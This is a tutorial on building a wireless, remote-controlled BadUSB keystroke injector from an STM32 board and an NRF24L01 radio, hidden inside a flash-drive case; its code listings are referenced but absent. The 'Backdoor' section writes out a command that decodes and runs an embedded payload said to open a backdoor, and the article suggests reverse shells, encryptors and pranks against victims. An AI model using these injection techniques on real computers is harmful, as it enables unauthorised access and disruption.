Duck tales. How to create a wireless analogue of Rubber Ducky

Plenty of such tools have been developed over the last years, including the classical Rubber Ducky, a sophisticated variant involving the reflashing of a flash drive equipped with a suitable controller, as well as Arduino- and Digispark-based implementations.

It is also necessary to mention Pill Duck whose operation principle is close to the one described in this article. Pill Duck has detailed documentation, and I strongly suggest reviewing it to get an in-depth understanding of its concept.

Important: my goal was not to surpass the above devices, but perform a practical experiment – create a remote control for a PC.

USB HID

USB (Universal Serial Bus) is a de facto standard nowadays (to be specific, an entire family of standards) that has effectively replaced RS-232, LPT, and PS/2. Its primary purpose is to connect peripherals to computers.

The problem of the USB protocol is that its main advantages can be easily turned into disadvantages. First of all, this relates to the complexity of its information exchange procedure, especially at the initial moment. The problem originates from the plug’n’play concept: peripherals are initialized immediately after the connection. The slave device sends its information to the host, which allows the system to load the required driver and start communicating with the peripheral.

From the user perspective, this is very convenient; but such versatility has a drawback: the USB specifications constitute several large volumes. Fortunately, my objective – keyboard and mouse emulation – is pretty simple and common.

The device I am going to create belongs to the HID (Human Interface Device) class; so, if I tell the host that the new peripheral is a standard keyboard and no special drivers are required for it, the attacked PC will use the standard drivers.

What you have to remember is that USB communication is always initiated by the host and uses packets. Their size is specified in device descriptors always requested by the host during the initialization.

Microcontroller firmware

The easiest way to create a USB device is to take a suitable microcontroller and write firmware for it. In theory, nearly any microcontroller can be used for this purpose because all you need to emulate the USB protocol is GPIO and some libraries (it’s definitely tempting to try emulating USB with subsequent emulation of the HID and ‘user input’!). But it’s much more convenient to select a microcontroller equipped with the required peripherals.

The most famous Arduino board supporting this functionality is ATmega32u4-based Leonardo. This microcontroller contains a hardware USB block, while the Arduino IDE offers a number of sketches and libraries for mouse and keyboard. Arduino Due, a more powerful ARM-based version, will fit as well. But for a number of reasons, I prefer STM32 microcontrollers; accordingly, my project is based on STM32F103C8T6. This microchip is available on the Blue Pill development board, which is very convenient for prototyping.

Descriptors

I will use one of the ibopencm3 examples that emulates mouse moves. The descriptor required for my purposes, looks as follows:

Nearly a half of these parameters are standard for many compatible devices. So, I am primarily interested in the PID (Product ID) and VID (Vendor ID) parameters. If I alter them, I will be able to impersonate any device manufactured by any vendor (note that the legitimacy of such impersonations raises serious concerns; so, think twice prior to doing so).

The following parameters in the endpoint descriptor are of interest:

• its address .bEndpointAddress = 0x81;
• maximum packet size .wMaxPacketSize = 4; and
• polling interval .bInterval = 0x02.

The endpoint address is of no importance for my purposes; so, I leave it as is. By contrast, the maximum packet size must correspond to the report structure described in hid_report_descriptor[]. In this particular case, it’s four bytes.

If you want, you can fill in usb_strings[] in the end of the description as your taste and sense of humor suggest.

Let’s examine the report descriptor in more detail. The response of a standard mouse to a request received from the host consists of four bytes. The first byte transmits the state of the buttons (the lower three bits correspond to the right, left, and middle buttons; the upper five bits are not used). The remaining three bytes relate to movements along the X and Y axes and wheel rotation. These bytes are single-byte integers in the range from -127 to 127. Their values correspond to a single relative movement of the pointer.

The keyboard report is similar, although it consists of eight bytes. Bits of the first byte are responsible for modifier keys: RIGHT_GUI, RIGHT_ALT, RIGHT_SHIFT, RIGHT_CTRL, LEFT_GUI, LEFT_ALT, LEFT_SHIFT, and LEFT_CTRL. The next byte is reserved for compatibility; generally speaking, it can be ignored. Each of the next six bytes corresponds to one pressed key: such a multitouch for six touches (aside from modifiers). The keyboard descriptor looks as follows:

There is a useful website that allows to analyze and edit descriptors. In addition, there is an officially recommended application called USB HID Descriptor tool. It’s available only for Windows, but can be run on Wine as well.

Composite device.

Done with the input devices and their descriptors. The next question is: can I combine a keyboard and a mouse into a single device? According to a tutorial on composite devices, if I add the report id field in the report descriptors for the mouse and keyboard, I will be able to combine them. The reports from my peripherals will become longer by one byte, but the host will read its value and know what device has sent this report.

The final version of my HID descriptor looks as follows:

Important: don’t forget to adjust the maximum report size: now it’s nine bytes. The reports look as follows:

Now I have to initialize the interface. No need to change anything in the example: at the start, the driver calls the hid_set_config function that registers the endpoint 0x81 to be polled by the host in the future. In response, the host will receive the above reports. As for the hid_control_request function, it serves just as a stub and does not affect anything.

Emulating keyboard

How to imitate a keystroke? Take for example the a key whose code is 0x04. Note that the key codes generated by the keyboard are not ASCII codes, and the keyboard has no idea of its layout: such operations are performed at a higher level. The a key press consists of two consecutive reports: the first one states that the key was pressed, while the second one states that it was released (never forget that the pressed key must be released!).

Important: all transactions are initialized by the host and can be postponed. Therefore, you have to make sure that the report has actually been sent. To do so, check the value returned by usbd_ep_write_packet. You also have to add the ASCII translation function to the keycode, which is pretty easy: many ready-to-use implementations are available on the Internet. I used a keycode library by Edward Emelianov with minimum adjustments.

Then I write two short functions to be able to type strings and press hotkeys.

I use a simple example to check the code:

Now I can interact with the console impersonating the user of the attacked computer. It’s all about selecting the right delay time; otherwise the trick won’t work.

Emulating mouse

On the one hand, mouse emulation is easier (its report is shorter), but on the other hand, it’s more complicated. The point is that X and Y are relative coordinates (i.e. a single step of movement), and the maximum length in a standard situation is 127 steps along each axis. If you sniff traffic from a mouse, you’ll see that when it’s moved, it sends numbers in the X and Y fields proportional to the movement speed; while when it’s idle, it sends zeros.

So, I am going to write a function to move to a point with given relative coordinates; the trajectory in this particular case is of no importance, while the speed is constant.

The cursor will move diagonally, and then vertically or horizontally until it reaches the given point; I didn’t add Bresenham’s line algorithm to the function as it seems redundant in it. If you really want to get to a certain point on the screen, you can use a simple hack: first, go to the conditional zero (i.e. the upper left corner; make sure to set the movement steps significantly larger than the screen resolution) and then move to the desired point from there.

You can also use a different approach: implement the mouse together with a touchscreen emulator that provides absolute coordinates.

So, now I can enter text, press modifier keys, and move the cursor; but one important element is still missing.

Radio control

Many BadUSB devices have a drawback: they start automatically after being turned on (or after a certain period of time). Sometimes, this feature is handy, but sometimes it’s not: it’s much better to control the device remotely and be able to wait for the right moment (such models exist as well).

For many reasons, I didn’t want to use ESP12E in my device; first of all, because it’s too large for a USB stick. Instead, I am going to use NRF24L01, which seems to be a perfect radio module due to its high transmission speed, low power consumption, and, most importantly, miniature size.

I expected to port the required library on NRF24 in an hour or two. Too bad, this task turned out to be much more complicated than I thought.

The problem is that Chinese online stores offer dozens of NRF24L01 clones, and all of them are slightly different (leaving aside the malfunctioning ones). For instance, I only managed to run a variant with a variable packet length – and not at the first attempt. An excellent tutorial was of great assistance.

The best way to overcome defects of low-quality clones is full initialization (i.e. values ​​are explicitly written in all registers). This negates effects of incorrect default settings. An interesting detail that, for some reason, is rarely and briefly mentioned in the manuals: without the ACTIVATE (0x50) command with the 0x73 parameter going after it, no information can be written to the FEATURE and DYNPD registers and, accordingly, it’s impossible to initialize the device. To find this out, I had to review plenty of tutorials and analyze traffic on the SPI bus (by the way, the Sigrock utility includes a handy NRF24L01 protocol decoder).

The resultant initialization code is as follows:

After a successful initialization, everything works smoothly: after all, the data transmission and reception procedures are pretty trivial. I set low the CE line of the SPI interface, switch the module to the transmission mode by setting the least significant bit in CONFIG to zero, and write the transmitted string after theWR_TX_PLOAD command. Then I have to raise the CE line by 25 μs several times until the transmission buffer gets empty.

The reception is implemented as follows: I switch the module to the transmission mode, raise the CE line and wait for the falling edge on the IRQ pin (EXTI0). Then I check whether the status register contains a received packet, find out the packet size, and read the data using the RD_PX_PLOAD command. Finally, it is necessary to reset the interrupt.

Of course, the reception can be implemented without an interrupt as well. You just need to wait until the RD_RX bit is set in the status register during the cycle. But in my opinion, the interrupt makes it easier and faster. With regards to the addresses, it is not really necessary to swap the RX and TX addresses because the transmitter listens to the address specified in TX in the P0 channel. This is required to receive the ASK signal. The main benefit is that devices with the same address settings can communicate with each other in both directions.

Data exchange protocol

NRF24L01 does not provide a high-level protocol for communication between devices. My solution is simple: I send commands in a text string, while the receiver tries to find the instructions in this text using the strstr () function. If no suitable lexical elements are found, the received string is immediately transmitted to the keyboard emulator. This feature can be used in the future to expand the device’s functionality because the remote control can receive commands via UART.

The functions used to receive and send commands are shown below.

Hex codes in these functions are the key codes read from the keypad controller of the remote control. The PCF8574 microcircuit (i.e. an I2C I/O port expander) is used as the controller.

Hardware implementation

The device scheme is shown below. The remote control is on the left, while the emulator, on the right.

Initially, I assembled the components on prototyping boards. The following important things should be kept in mind during the preliminary assembly. First of all, a power supply capacitor must be soldered to the NRF24 module. Taking that, most probably, it is hanging on wires, 100 μF should suffice. The capacitor will eliminate the power supply problem if something goes wrong. Also, if power is supplied from two sources at once (on both sides of the built-in stabilizer), this can kill the Blue Pill power circuit. Therefore, always disconnect the auxiliary power source when the device is USB-powered.

I decided not to use a shift register as the keyboard controller in my remote control (as was done in the handmade phone and MP3 player). It turned out that the PCF8574 I/O port expander is suited for this function much better. Its main advantage is the interrupt signal that simplifies the interaction with the keyboard on the microcontroller side. In addition, I2C has two lines, while the shift register interface requires at least three lines. The chip is not much more expensive: its retail price is some fifty cents.

The ready-to-use prototype is shown below. Of course, not everything was working smoothly from the very beginning. But ultimately, all the problems have been solved.

As you understand, the device could not be used in this form; so, I had to redesign it. A flash drive attracted my attention, and I decided to pack everything into a premade and well-recognizable case. The flash drive’s board was 14 by 34 mm in size; so, I had to use double-sided mounting to fit my device into the case.

This was my first experience in double-sided mounting, and frankly speaking, it wasn’t as difficult as I had expected. Without false modesty, the final result has surpassed my expectations. The photo below shows the device and the original flash drive.

My board has perfectly fit into the case.

I also had to solder a wire atop to connect the LED (I totally forgot about it when I was wiring the board). Time to attach the cover.

While transforming the remote control prototype into the final version, I decided to optimize the power supply. The transmitting component requires 3.3V for stable operation. Of course, the voltage could be lowered to 3V to be able to power the circuit from two AA batteries. But such a solution doesn’t allow to use the charge of the batteries to the full extent because their final voltage is some 1V (or 2V for two sources connected in series), which is insufficient for the remote control.

Fully charged Ni-MH batteries provide 2.4V, which is also not enough. An ME2108A-based step-up-converter turned out to be the optimum solution. With a minimum set of external components, the efficiency of this microcircuit reaches 85%. This makes it possible to power the device from two or even one battery.

I assembled the remote, fixed a few mistakes (I forgot to install pull-up resistors for the PCF8574), and the device started working. Then I measured the current consumption from one battery, and the result shocked me: whopping 250 mA! Of course, this wasn’t acceptable; so, I started figuring out how to reduce the power consumption.

Power optimization

The microcontroller doesn’t have to be on all the time; the device needs it only when the button is pressed. Remember the above-mentioned interrupt signal from the keyboard controller? It turned out to be very useful. The system waits for the button to be pressed, then wakes up the circuit, sends data on the air, and goes to sleep again. In addition, switching NRF24L01 to the standby mode allows to further reduce the consumption. In the end, I decided to turn the LED off to save a few milliamps.

Important: when the microcontroller wakes up, the RCC unit is clocked directly from the internal 8-MHz generator. This disrupts timing of all interfaces; so, I need a function to reconfigure the clock.

These simple tricks reduced the power consumption by more than 500 times! The final measured value was some 0.5 mA, which is a very good result.

Application scenarios

How to use the toolkit? First of all, you can use it as a remote control. Being an Arch Linux user, I really like the possibility to control MPlayer with hotkeys.

It’s not a big deal to familiarize MPlayer with your device. Sending the PK2 A B string from the remote control emulates pressing the key whose code isA and whose modifier is B. These two values can be used to describe any key and nearly any key combination.

Now it’s time to have some fun.

Everything depends on your imagination. Using this device, you can prank other people by pressing hotkeys at most inopportune moments (hint: the [Alt+F4] combination frustrates Windows users most of all).

‘Buggy’ mouse

No doubt you know how annoying unresponsive and poorly performing mice are, especially when you are working or playing. To simulate such a mouse, all you have to do is write a simple function that randomly moves the cursor:

The quality of the pseudo-random number generator is of no importance here. However, for the sake of perfection, you can initialize the generator with a random number from the ADC.

This is sufficient to initialize a PRNG. I press the button, the cursor moves in an arbitrary direction, and the victim – who uses the mouse to perform an important task – becomes frustrated.

Playing with text

You can draw some ASCII art in a text document by simply pressing a key. For instance, you can insert the bird shown below (I call it a wagtail, don’t ask why).

To add it to the code, you will need a lot of quotes, line breaks, and escape characters . Doing this manually takes a while; so, you can use a shell script to recode the text image into a data array. The script below takes two arguments: the name of the file containing the image and the name of the output array.

Executing commands

Time to do some real job. To be able to execute commands in Windows, type [Super+R], then type cmd, and press Enter. Important: use proper delays because if you enter a command prior to the opening of the console window, it won’t have any effect. Such information for Windows systems can be found on the Internet.

The situation with Linux is not that simple. Of course, in most cases, you can rely on [Ctrl+F2], but then you will likely have to authenticate in the system, which is problematic. Therefore, for the sake of simplicity let’s assume that you already know the hotkey that calls the terminal emulator (e.g. [Ctrl+Alt+T]). In that situation, you can enter a single-line command or even write a short script.

Too bad, this approach is neither handy nor rational because it requires plenty of extra commands.

Backdoor

There is a much more efficient and elegant way: a combination of streaming compression and encoding in Base64. The script shown below collects system information and opens a backdoor.

I use gzip to compress it ‘on the fly’ and convert the result into Base64 using the cat script.sh|gzip -9|base64 command. After the processing, the following data array is added to the microcontroller firmware:

Now I only have to perform the reverse procedure using the standard Base64 and gzip utilities. I type echo BASE64 |base64 -d|gzip -d>payload.sh;chmod +x payload.sh;./payload.sh\n. On the firmware side, this looks as follows:

Finally, I add the bird. The above method is a convenient way to store and display ASCII graphics in the terminal; it allows to save both space and time. And of course, it’s easier to create such arrays using a script.

The listing is even shorter than the previous one, while the memory space consumption decreases by times. It’s very convenient to use scripts as payloads. You don’t even necessarily need a shell for this: Python may be even better. Take, for instance, a reverse shell or an encryptor. Overall, Python offers plenty of room for creative experiments… I hope that this article was of interest to you. Wishing you all the best in your pentesting endeavors.

Bonus

This small bonus is for those who managed to finish the article. Good luck! 🙂